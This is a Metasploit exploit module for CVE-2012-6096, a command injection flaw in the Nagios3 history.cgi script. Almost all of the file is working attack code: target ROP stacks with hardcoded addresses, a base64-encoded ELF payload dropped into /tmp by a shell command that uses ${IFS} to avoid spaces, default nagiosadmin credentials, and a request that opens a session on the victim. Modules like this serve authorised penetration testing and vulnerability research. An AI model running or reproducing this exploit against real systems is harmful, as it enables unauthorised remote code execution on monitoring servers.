Nagios3 - 'history.cgi' Host Command Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Nagios3 history.cgi Host Command Execution',
			'Description'    => %q{
					This module abuses a command injection vulnerability in the
				Nagios3 history.cgi script.
			},
			'Author'         => [
				'Unknown <temp66@gmail.com>',		    # Original finding
				'blasty <blasty@fail0verflow.com>',	    # First working exploit
				'Jose Selvi <jselvi@pentester.es>',	    # Metasploit module
				'Daniele Martini <cyrax[at]pkcrew.org>'	# Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-6096' ],
					[ 'OSVDB', '88322' ],
					[ 'BID', '56879' ],
					[ 'EDB', '24084' ],
					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ]
				],
			'Platform'       => ['unix', 'linux'],
			'Arch'           => [ ARCH_X86 ],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 200,	# Due to a system() parameter length limitation
					'BadChars'    => '',	# It'll be base64 encoded
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { 'auto' => true }],
					# NOTE: All addresses are from the history.cgi binary
					[ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
						{
							'BannerRE' => 'Apache/2.2.15 (CentOS)',
							'VersionRE' => '3.4.1',
							'Arch' => ARCH_X86,
							'Offset' => 0xc43,
							'RopStack' =>
								[
									0x0804c260,	# unescape_cgi_input()
									0x08048f04,	# pop, ret
									0x08079b60,	# buffer addr
									0x08048bb0,	# system()
									0x08048e70,	# exit()
									0x08079b60	# buffer addr
								]
						}
					],
					[ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)',
						{
							'BannerRE' => 'Apache/2.2.9 (Debian)',
							'VersionRE' => '3.0.6',
							'Arch' => ARCH_X86,
							'Offset' => 0xc37,
							'RopStack' =>
								[
									0x0804b620,	# unescape_cgi_input()
									0x08048fe4,	# pop, ret
									0x080727a0,	# buffer addr
									0x08048c7c,	# system()
									0xdeafbabe,	# if should be exit() but it's not
									0x080727a0	# buffer addr
								]
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 09 2012'))

		register_options(
			[
				OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
				OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
				OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
			], self.class)
	end

	def detect_version(uri)
		# Send request
		res = send_request_cgi({
			'method'    => 'GET',
			'uri'       => uri,
			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
		}, 10)

		# Error handling
		if res.nil?
			print_error("Unable to get a response from the server")
			return nil, nil
		end
		if(res.code == 401)
			print_error("Please specify correct values for USER and PASS")
			return nil, nil
		end
		if(res.code == 404)
			print_error("Please specify the correct path to history.cgi in the URI parameter")
			return nil, nil
		end

		# Extract banner from response
		banner = res.headers['Server']

		# Extract version from body
		version = nil
		version_line = res.body.match(/Nagios&reg; (Core&trade; )?[0-9.]+ -/)
		if not version_line.nil?
			version = version_line[0].match(/[0-9.]+/)[0]
		end

		# Check in an alert exists
		alert = res.body.match(/ALERT/)

		return version, banner, alert
	end

	def select_target(version, banner)

		# No banner and version, no target
		if banner.nil? or version.nil?
			return nil
		end

		# Get version information
		print_status("Web Server banner: #{banner}")
		print_status("Nagios version detected: #{version}")

		# Try regex for each target
		self.targets.each do |t|
			if t['BannerRE'].nil? or t['VersionRE'].nil?  # It doesn't exist in Auto Target
				next
			end
			regexp1 = Regexp.escape(t['BannerRE'])
			regexp2 = Regexp.escape(t['VersionRE'])
			if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
				return t
			end
		end
		# If not detected, return nil
		return nil
	end

	def check
		print_status("Checking banner and version...")
		# Detect version
		banner, version, alert = detect_version(target_uri.path)
		# Select target
		mytarget = select_target(banner, version)

		if mytarget.nil?
			print_error("No matching target")
			return CheckCode::Unknown
		end

		if alert.nil?
			print_error("At least one ALERT is needed in order to exploit")
			return CheckCode::Detected
		end

		return CheckCode::Vulnerable
	end

	def exploit
		# Automatic Targeting
		mytarget = nil
		banner, version, alert = detect_version(target_uri.path)
		if (target['auto'])
			print_status("Automatically detecting the target...")
			mytarget = select_target(banner, version)
			if mytarget.nil?
				fail_with(Exploit::Failure::NoTarget, "No matching target")
			end
		else
			mytarget = target
		end

		print_status("Selected Target: #{mytarget.name}")
		if alert.nil?
			print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...")
		end
		print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")

		# Generate a payload ELF to execute
		elfbin = generate_payload_exe
		elfb64 = Rex::Text.encode_base64(elfbin)

		# Generate random filename
		tempfile = '/tmp/' + rand_text_alphanumeric(10)

		# Generate command-line execution
		if mytarget.name =~ /CentOS/
			cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};"
		else
			cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}"
		end
		host_value = cmd.gsub!(' ', '${IFS}')

		# Generate 'host' parameter value
		padding_size = mytarget['Offset'] - host_value.length
		host_value << rand_text_alphanumeric( padding_size )

		# Generate ROP
		host_value << mytarget['RopStack'].pack('V*')

		# Send exploit
		res = send_request_cgi({
			'method'    => 'GET',
			'uri'       => target_uri.path,
			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
			'vars_get' =>
			{
				'host' => host_value
			}
		})

		if not res
			if session_created?
				print_status("Session created, enjoy!")
			else
				print_error("No response from the server")
			end
			return
		end

		if res.code == 401
			fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS")
		end

		if res.code == 404
			fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter")
		end

		print_status("Unknown response #{res.code}")
	end

end